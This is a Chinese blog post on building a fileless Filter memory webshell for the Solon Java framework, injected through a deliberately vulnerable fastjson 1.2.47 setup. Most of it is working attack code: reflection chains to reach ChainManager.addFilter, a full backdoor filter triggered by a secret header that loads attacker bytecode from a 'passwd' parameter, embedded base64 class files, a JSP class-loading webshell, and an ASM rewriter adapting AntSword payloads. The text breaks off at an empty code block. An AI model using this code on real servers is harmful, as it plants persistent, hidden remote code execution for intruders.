0x00 框架简介

Solon是一个轻量级的Java Web框架,它被设计为Spring Boot的替代品。

Solon框架吸取了Spring Boot和Javalin的优点,同时避免了一些繁重的设计,使得它支持HTTP、WebSocket和Socket三种通信信号的接入,支持java8-java22

Solon框架的拦截器又两种,Handler(Context拦截器)和Interceptor(Method 拦截器)具体可参考

Solon 的过滤器 Filter 和两种拦截器 Handler、 Interceptor

这里写Filter相关的内存马

0x01 环境搭建

官方demo

下载之后直接导入idea即可,模拟真实环境,使用fastjson漏洞添加如下代码

新增一个Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.demo;

import org.noear.solon.annotation.Component;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

@Component
public class TestFilter implements Filter {
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
System.out.println("TEST");
chain.doFilter(ctx);
}
}

然后再demo中添加一个json路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Controller
public class DemoController {
@Mapping("/hello")
public String hello(@Param(defaultValue = "world") String name) {
return String.format("Hello %s!", name);
}

@Mapping("/json")
public String getByJSON(Context ctx) throws IOException {

JSONObject jsonObject = JSON.parseObject(ctx.body());
JSONObject result = new JSONObject();
result.put("data", jsonObject.toJSONString());
return result.toJSONString();
}

}

pom.xml中添加fastjson和c3p0的依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>

<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

结构如下

1725435301909

0x02 调试分析

添加Filter流程

具体的调试方式在文章中已经Solon内存马研究提到

这里再跟一下,Filter呗保存哎ChainManager类的finterNodes变量中

1725436029494

ChainManager类成员变量的初始化在RouterWrapper类的initRouter方法中完成,对应的成员变量是_chainmanager

1725436201203

只需要在内存中找到_chainManager并调用其addFilter方法即可

使用c0ny1师傅的工具java-object-searcher

1
2
3
4
5
6
7
8
9
10
11
12
//设置搜索_chainManager
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("_chainManager").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("G:\\工具集合\\idea\\helloworld_jdk8\\src\\test\\Solon");
searcher.searchObject();

将jar包导入,并在filter中插入如上代码即可

1725438205652

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
TargetObject = {java.lang.Thread} 
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [8] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}
---> _request = {org.smartboot.http.server.impl.HttpRequestImpl}
---> request = {org.smartboot.http.server.impl.Request}
---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler}
---> handler = {org.noear.solon.boot.smarthttp.XPluginImp$$Lambda$91/222511810}
---> arg$1 = {org.noear.solon.SolonApp}
---> _chainManager = {org.noear.solon.core.ChainManager}
---> typeSet = {java.util.HashSet}

首先需要获取Context上下文,官方提供的方式为Context ctx = Context.current();

1725440375889

这里直接搬出来上面提到的先知作者的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Context ctx = Context.current();
Object obj = ctx.request();

Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);

ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new FilterMemshell(), 0);

修改成基于jmg内存马工具的payload

那么就又回到了如何获取上下文上来,如上面的堆栈获取threadLocals

1725504232873

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
Object context = null;

try {
Thread[] var4 = threads;
int var5 = threads.length;

for(int var6 = 0; var6 < var5; ++var6) {
Thread thread = var4[var6];
if (thread.getName().contains("smarthttp") && context == null) {
Object threadLocals = getFV(thread, "threadLocals");
Object[] threadTable = (Object[]) getFV(threadLocals, "table");
if (threadTable != null){
int threadLocalLength = threadTable.length;
for(int i = 0; i < threadLocalLength; ++i) {
Object threadLocal = threadTable[i];
if(threadLocal != null){
Object value = getFV(threadLocal, "value");
if(value != null){
context = getFV(value, "_request");
Object url = getFV(value, "_url");
if(context != null && url != null){
contexts.add(context);
Object chain = getChain(context);
invokeMethod(chain,"addFilter",new Class[]{Class.forName("org.noear.solon.core.handle.Filter"), Integer.TYPE},new Object[]{new CeShiFilter(),0});
break;
}
}
}
}
}
}
}
} catch (Exception var14) {
throw new RuntimeException(var14);
}

webshell内存马调试

上面方式按照原文中写一个回显的马已经很简单了

但是在写能连接的内存马的问题上,看了哥斯拉和冰蝎的马,都是基于session操作的

需要的参数包括

1725591286572

包括这里面获取参数的方式,取参数的方式solon框架都大有不同

并且测试solon框架的对session的支持没那么好用,并且需要加载新的第三方库

solon框架中获取参数的形式,如下等等

1
2
3
4
5
6
ctx.cookie
ctx.session
ctx.sessionSet
ctx.contentType
ctx.param
ctx.output //输出

1725591513860

所以原则上solon框架,不基于其他中间件的情况,哥斯拉,冰蝎和蚁剑都是连不上的

哥斯拉和冰蝎比较复杂,可以修改蚁剑。

分析一下蚁剑的流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<%@page import="java.io.*"%>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
String outputPath = "./test11111111111111111.ser";

// 将输入流的内容写入到文件
byte[] data = base64Decode(cls);
try (FileOutputStream outputStream = new FileOutputStream(outputPath)) {
// 将字节数组写入文件
outputStream.write(data);
outputStream.flush();
} catch (IOException e) {
}
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

调用equals,会先处理传入的上下文,这里面可以看到调用的request和response的方法有

  • setContentType
  • setCharacterEncoding
  • getPatameter
  • getWriter
  • print

1725591850439

这里解析上下文,主要是为了获取request和response对象的,一个很明显的问题就是solon中不存在HttpServletRequest对象

1725592027901

如何处理,想到基于solon的上下文写一个简单的处理,这里需要看到使用此对象做了什么操作

实际上如果自己写一个简单的HttpServletRequest类去实现的话会出现错误,蚁剑编译好的字节码其中的HttpServletRequest对象是接口,本地如果去实现这么一个接口的话,并不容易和solon的上下文联动

  • 修改蚁剑里面传入的加载的类(修改蚁剑的话需要改的挺多,这里采用代理的方式修改字节码)
  • 修改马,使其支持solon框架

修改内存马

由于传入的字节码中需要用到HttpServletRequest和HttpServletResponse对象

所以构造两个类对象,按照上面提到的所用到的方法

HttpServletRequest类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package javax.servlet.http;

import org.noear.solon.core.handle.Context;

public class HttpServletRequest {
private Context ctx;

public HttpServletRequest(){}

public HttpServletRequest(Context ctx){
this.ctx = ctx;
}

public void setCharacterEncoding(String encode){

}

public String getParameter(String name){
return ctx.param(name);
}
}

HttpServletResponse类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package javax.servlet.http;

import org.noear.solon.core.handle.Context;

public class HttpServletResponse{
private Context ctx = null;

public HttpServletResponse(Context c){
this.ctx = c;
}

public void setContentType(String encode){
ctx.contentType(encode);
}
public void setCharacterEncoding(String encode){

}

public HttpServletResponse getWriter(){
return this;
}

public void print(String result){
ctx.output(result);
}
}

获取上述类的字节码,在需要添加的filter中定义一个classloader,需要使用static全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
static class Base64ClassLoader extends ClassLoader {

private static int hasRequest;
private static int hasResponse;
private static Class<?> request;
private static Class<?> response;

public Base64ClassLoader(ClassLoader parent) {
super(parent);
}


public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("javax.servlet.http.HttpServlet")){
String base64;
if(name.equals("javax.servlet.http.HttpServletRequest")){
if(hasRequest==1){
return request;
}
base64 = "yv66vgAAADQAIgoABQAaCQAEABsKABwAHQcAHgcAHwEAA2N0eAEAJUxvcmcvbm9lYXIvc29sb24vY29yZS9oYW5kbGUvQ29udGV4dDsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAKChMb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0NvbnRleHQ7KVYBABBNZXRob2RQYXJhbWV0ZXJzAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZlbmNvZGUBABJMamF2YS9sYW5nL1N0cmluZzsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABG5hbWUBAApTb3VyY2VGaWxlAQAXSHR0cFNlcnZsZXRSZXF1ZXN0LmphdmEMAAgACQwABgAHBwAgDAAhABYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAI29yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0AQAFcGFyYW0AIQAEAAUAAAABAAIABgAHAAAABAABAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAAAgADAAAAAwAAQAAAAUADQAOAAAAAQAIAA8AAgAKAAAARgACAAIAAAAKKrcAASortQACsQAAAAIACwAAAA4AAwAAAAoABAALAAkADAAMAAAAFgACAAAACgANAA4AAAAAAAoABgAHAAEAEAAAAAUBAAYAAAABABEAEgACAAoAAAA1AAAAAgAAAAGxAAAAAgALAAAABgABAAAAEAAMAAAAFgACAAAAAQANAA4AAAAAAAEAEwAUAAEAEAAAAAUBABMAAAABABUAFgACAAoAAAA9AAIAAgAAAAkqtAACK7YAA7AAAAACAAsAAAAGAAEAAAATAAwAAAAWAAIAAAAJAA0ADgAAAAAACQAXABQAAQAQAAAABQEAFwAAAAEAGAAAAAIAGQ==";
}else {
if(hasResponse==1){
return response;
}
base64 = "yv66vgAAADQAKAoABgAdCQAFAB4KAB8AIAoAHwAhBwAiBwAjAQADY3R4AQAlTG9yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0OwEABjxpbml0PgEAKChMb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0NvbnRleHQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAFjAQAQTWV0aG9kUGFyYW1ldGVycwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAGZW5jb2RlAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAlnZXRXcml0ZXIBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAVwcmludAEABnJlc3VsdAEAClNvdXJjZUZpbGUBABhIdHRwU2VydmxldFJlc3BvbnNlLmphdmEMAAkAJAwABwAIBwAlDAAmABMMACcAEwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAAygpVgEAI29yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0AQALY29udGVudFR5cGUBAAZvdXRwdXQAIQAFAAYAAAABAAIABwAIAAAABQABAAkACgACAAsAAABPAAIAAgAAAA8qtwABKgG1AAIqK7UAArEAAAACAAwAAAASAAQAAAAIAAQABgAJAAkADgAKAA0AAAAWAAIAAAAPAA4ADwAAAAAADwAQAAgAAQARAAAABQEAEAAAAAEAEgATAAIACwAAAEEAAgACAAAACSq0AAIrtgADsQAAAAIADAAAAAoAAgAAAA0ACAAOAA0AAAAWAAIAAAAJAA4ADwAAAAAACQAUABUAAQARAAAABQEAFAAAAAEAFgATAAIACwAAADUAAAACAAAAAbEAAAACAAwAAAAGAAEAAAARAA0AAAAWAAIAAAABAA4ADwAAAAAAAQAUABUAAQARAAAABQEAFAAAAAEAFwAYAAEACwAAACwAAQABAAAAAiqwAAAAAgAMAAAABgABAAAAFAANAAAADAABAAAAAgAOAA8AAAABABkAEwACAAsAAABBAAIAAgAAAAkqtAACK7YABLEAAAACAAwAAAAKAAIAAAAYAAgAGQANAAAAFgACAAAACQAOAA8AAAAAAAkAGgAVAAEAEQAAAAUBABoAAAABABsAAAACABw=";
}

byte[] data = new byte[0];
try {
data = this.doBase64Decode(base64);
} catch (Exception e) {
e.printStackTrace();
}
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = null;
try {
method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
method.setAccessible(true);
try {
Class<?> clazz = (Class<?>)method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
if(name.equals("javax.servlet.http.HttpServletRequest")){
hasRequest=1;
request = clazz;
}else {
hasResponse=1;
response = clazz;
}

return clazz;
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}

}
return loadClass(name, false);
}
public Class<?> loadClassFromBase64(String base64ClassData) throws ClassNotFoundException {
try {
// 解码Base64
byte[] classData = this.doBase64Decode(base64ClassData);
// 调用 defineClass 方法将字节码转换为 Class 对象
return defineClass(classData, 0, classData.length);
} catch (Exception e) {
throw new ClassNotFoundException("Failed to load class from Base64 string", e);
}
}

public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))));
}
}
}

全部代码如下,这里需要注意的点是加载传参的classloader要和上面加载request和response对象的保持一致,

不然后面执行传参中的代码时,会找不到类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
package com.example.demo;

import jdk.internal.org.objectweb.asm.ClassReader;
import jdk.internal.org.objectweb.asm.util.TraceClassVisitor;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.FilterChain;

import java.io.*;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.*;
import java.math.BigInteger;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.MessageDigest;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

public class CeShiFilter extends ClassLoader implements Filter, Serializable {
static String pass = "passwd";
public String headerName = "aaaa";
public String headerValue = "bbbb";

public CeShiFilter() {
}


static class Base64ClassLoader extends ClassLoader {

private static int hasRequest;
private static int hasResponse;
private static Class<?> request;
private static Class<?> response;

public Base64ClassLoader(ClassLoader parent) {
super(parent);
}


public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("javax.servlet.http.HttpServlet")){
String base64;
if(name.equals("javax.servlet.http.HttpServletRequest")){
if(hasRequest==1){
return request;
}
base64 = "yv66vgAAADQAIgoABQAaCQAEABsKABwAHQcAHgcAHwEAA2N0eAEAJUxvcmcvbm9lYXIvc29sb24vY29yZS9oYW5kbGUvQ29udGV4dDsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAKChMb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0NvbnRleHQ7KVYBABBNZXRob2RQYXJhbWV0ZXJzAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZlbmNvZGUBABJMamF2YS9sYW5nL1N0cmluZzsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABG5hbWUBAApTb3VyY2VGaWxlAQAXSHR0cFNlcnZsZXRSZXF1ZXN0LmphdmEMAAgACQwABgAHBwAgDAAhABYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAI29yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0AQAFcGFyYW0AIQAEAAUAAAABAAIABgAHAAAABAABAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAAAgADAAAAAwAAQAAAAUADQAOAAAAAQAIAA8AAgAKAAAARgACAAIAAAAKKrcAASortQACsQAAAAIACwAAAA4AAwAAAAoABAALAAkADAAMAAAAFgACAAAACgANAA4AAAAAAAoABgAHAAEAEAAAAAUBAAYAAAABABEAEgACAAoAAAA1AAAAAgAAAAGxAAAAAgALAAAABgABAAAAEAAMAAAAFgACAAAAAQANAA4AAAAAAAEAEwAUAAEAEAAAAAUBABMAAAABABUAFgACAAoAAAA9AAIAAgAAAAkqtAACK7YAA7AAAAACAAsAAAAGAAEAAAATAAwAAAAWAAIAAAAJAA0ADgAAAAAACQAXABQAAQAQAAAABQEAFwAAAAEAGAAAAAIAGQ==";
}else {
if(hasResponse==1){
return response;
}
base64 = "yv66vgAAADQAKAoABgAdCQAFAB4KAB8AIAoAHwAhBwAiBwAjAQADY3R4AQAlTG9yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0OwEABjxpbml0PgEAKChMb3JnL25vZWFyL3NvbG9uL2NvcmUvaGFuZGxlL0NvbnRleHQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAFjAQAQTWV0aG9kUGFyYW1ldGVycwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAGZW5jb2RlAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAlnZXRXcml0ZXIBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAVwcmludAEABnJlc3VsdAEAClNvdXJjZUZpbGUBABhIdHRwU2VydmxldFJlc3BvbnNlLmphdmEMAAkAJAwABwAIBwAlDAAmABMMACcAEwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAAygpVgEAI29yZy9ub2Vhci9zb2xvbi9jb3JlL2hhbmRsZS9Db250ZXh0AQALY29udGVudFR5cGUBAAZvdXRwdXQAIQAFAAYAAAABAAIABwAIAAAABQABAAkACgACAAsAAABPAAIAAgAAAA8qtwABKgG1AAIqK7UAArEAAAACAAwAAAASAAQAAAAIAAQABgAJAAkADgAKAA0AAAAWAAIAAAAPAA4ADwAAAAAADwAQAAgAAQARAAAABQEAEAAAAAEAEgATAAIACwAAAEEAAgACAAAACSq0AAIrtgADsQAAAAIADAAAAAoAAgAAAA0ACAAOAA0AAAAWAAIAAAAJAA4ADwAAAAAACQAUABUAAQARAAAABQEAFAAAAAEAFgATAAIACwAAADUAAAACAAAAAbEAAAACAAwAAAAGAAEAAAARAA0AAAAWAAIAAAABAA4ADwAAAAAAAQAUABUAAQARAAAABQEAFAAAAAEAFwAYAAEACwAAACwAAQABAAAAAiqwAAAAAgAMAAAABgABAAAAFAANAAAADAABAAAAAgAOAA8AAAABABkAEwACAAsAAABBAAIAAgAAAAkqtAACK7YABLEAAAACAAwAAAAKAAIAAAAYAAgAGQANAAAAFgACAAAACQAOAA8AAAAAAAkAGgAVAAEAEQAAAAUBABoAAAABABsAAAACABw=";
}

byte[] data = new byte[0];
try {
data = this.doBase64Decode(base64);
} catch (Exception e) {
e.printStackTrace();
}
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = null;
try {
method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
method.setAccessible(true);
try {
Class<?> clazz = (Class<?>)method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
if(name.equals("javax.servlet.http.HttpServletRequest")){
hasRequest=1;
request = clazz;
}else {
hasResponse=1;
response = clazz;
}

return clazz;
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}

}
return loadClass(name, false);
}
public Class<?> loadClassFromBase64(String base64ClassData) throws ClassNotFoundException {
try {
// 解码Base64
byte[] classData = this.doBase64Decode(base64ClassData);
// 调用 defineClass 方法将字节码转换为 Class 对象
return defineClass(classData, 0, classData.length);
} catch (Exception e) {
throw new ClassNotFoundException("Failed to load class from Base64 string", e);
}
}

public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))));
}
}
}


public Class<?> getClass(String str, Base64ClassLoader load) throws Exception {
return load.loadClassFromBase64(str);
}

public void doFilter(Context ctx, FilterChain chain) throws Throwable {

try {
if (ctx.header(this.headerName) != null && ctx.header(this.headerName).contains(this.headerValue)) {
Object request = null;
Object response = null;
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();

// 创建自定义ClassLoader实例
Base64ClassLoader loader = new Base64ClassLoader(systemClassLoader);
try{
Class<?> clazz = Class.forName("javax.servlet.http.HttpServletRequest", true, loader);
Constructor<?> constructor = clazz.getConstructor(Class.forName("org.noear.solon.core.handle.Context"));
request = constructor.newInstance(ctx);
}catch (ClassNotFoundException e) {}
try{
Class<?> clazzRes = Class.forName("javax.servlet.http.HttpServletResponse", true, loader);
Constructor<?> constructor = clazzRes.getConstructor(Class.forName("org.noear.solon.core.handle.Context"));
response = constructor.newInstance(ctx);
}catch (ClassNotFoundException e) {}

String cls = ctx.param(this.pass);
if (cls != null) {
try {
Class<?> clazz = getClass(cls, loader);
clazz.newInstance().equals(new Object[]{request, response});
} catch (Exception var11) {
}
}

} else {
chain.doFilter(ctx);
}
} catch (Exception var12) {
chain.doFilter(ctx);
}

}


public void destroy() {
}
}


修改字节码

上面提到了webshell工具中传入的都是编译好的字节码,其中HttpServletRequest和HttpServletResponse都是接口类型,而我们提供的是一个类,会触发异常,可以修改流量的字节码

使用asm,远程主机上大概率是不会直接存在这依赖的,所以还是本地做代理

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.2</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-commons</artifactId>
<version>9.2</version>
</dependency>

AdviceAdapter是 ASM 库中的一个高级类,它使我们可以更容易地修改方法字节码。AdviceAdapter 提供了许多有用的钩子方法,如 onMethodEnteronMethodExit,让我们可以在方法进入和退出时插入自定义字节码。

在使用AdviceAdapter时,你主要需要扩展一些方法来实现字节码的修改。根据不同的需求,可能会用到以下几个主要的扩展点:

  • onMethodEnter 方法:在方法进入时加入自定义字节码。

  • onMethodExit 方法:在方法退出时加入自定义字节码。

  • visitMethodInsn 方法:截获并修改方法调用指令。

  • visitMaxs、visitEnd 等其他钩子方法:根据需要修改最大堆栈大小或方法结束后的处理。

测试代码如下,除了将接口修改为类之外,getWriter的返回值为java/io/PrintWriter需要修改成HttpServletResponse,再将调用Printwriter嘞得print方法修改为调用response类的print方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package features;

import org.objectweb.asm.*;
import org.objectweb.asm.commons.AdviceAdapter;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;

public class ModifyBytecode {

public static void main(String[] args) throws Exception {
String className = "MyClass";
String methodName = "equals";

String inputClassPath = "G:\\工具集合\\idea\\helloworld_jdk8\\src\\test\\java\\features\\test11111111111111111.class";
String outputClassPath = "G:\\工具集合\\idea\\helloworld_jdk8\\src\\test\\java\\features\\test2.class";

// 读取原始的Class文件
FileInputStream fis = new FileInputStream(inputClassPath);
ClassReader classReader = new ClassReader(fis);

// 准备用于修改的ClassWriter
ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);

// 使用自定义的ClassVisitor
ClassVisitor classVisitor = new ClassVisitor(Opcodes.ASM9, classWriter) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (name.equals(methodName)) {
return new AdviceAdapter(Opcodes.ASM9, mv, access, name, descriptor) {
@Override
protected void onMethodEnter() {
super.onMethodEnter();
}

@Override
protected void onMethodExit(int opcode) {
super.onMethodExit(opcode);
}

@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if (opcode == Opcodes.INVOKEINTERFACE
&& owner.contains("javax/servlet/http")
&& (name.equals("setContentType") || name.equals("setCharacterEncoding") || name.equals("getWriter") || name.equals("getParameter"))) {
if(name.equals("getWriter")){
descriptor = "()Ljavax/servlet/http/HttpServletResponse;";
}
// 修改为 invokevirtual
super.visitMethodInsn(Opcodes.INVOKEVIRTUAL, owner, name, descriptor, false);
}else if(opcode == Opcodes.INVOKEVIRTUAL && owner.equals("java/io/PrintWriter") && name.equals("print")){
super.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "javax/servlet/http/HttpServletResponse", name, descriptor, false);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
};
}
return mv;
}
};

// 执行字节码转换
classReader.accept(classVisitor, 0);

// 写入修改后的类
File outputFile = new File(outputClassPath);
try (FileOutputStream fos = new FileOutputStream(outputFile)) {
fos.write(classWriter.toByteArray());
}

System.out.println("Bytecode modification completed.");
}
}

可以正常响应了

1726131752230

将这个代码写成代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
